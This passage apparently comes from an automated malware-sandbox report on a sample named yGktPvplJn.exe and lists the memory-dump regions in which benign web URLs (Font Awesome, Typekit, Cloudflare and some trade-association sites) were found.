yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-regular-400.woff2
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-solid-900.eot
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-solid-900.eot?#iefix
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-solid-900.svg#fontawesome
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-solid-900.ttf
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-solid-900.woff
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-solid-900.woff2
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.fontawesome.com/releases/v5.15.4/css/all.css
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.typekit.net/gfl6syw.css
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://use.typekit.net/gfl6syw.css?ver=1.0.18
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aiag.org/about
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bafts.org.uk
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
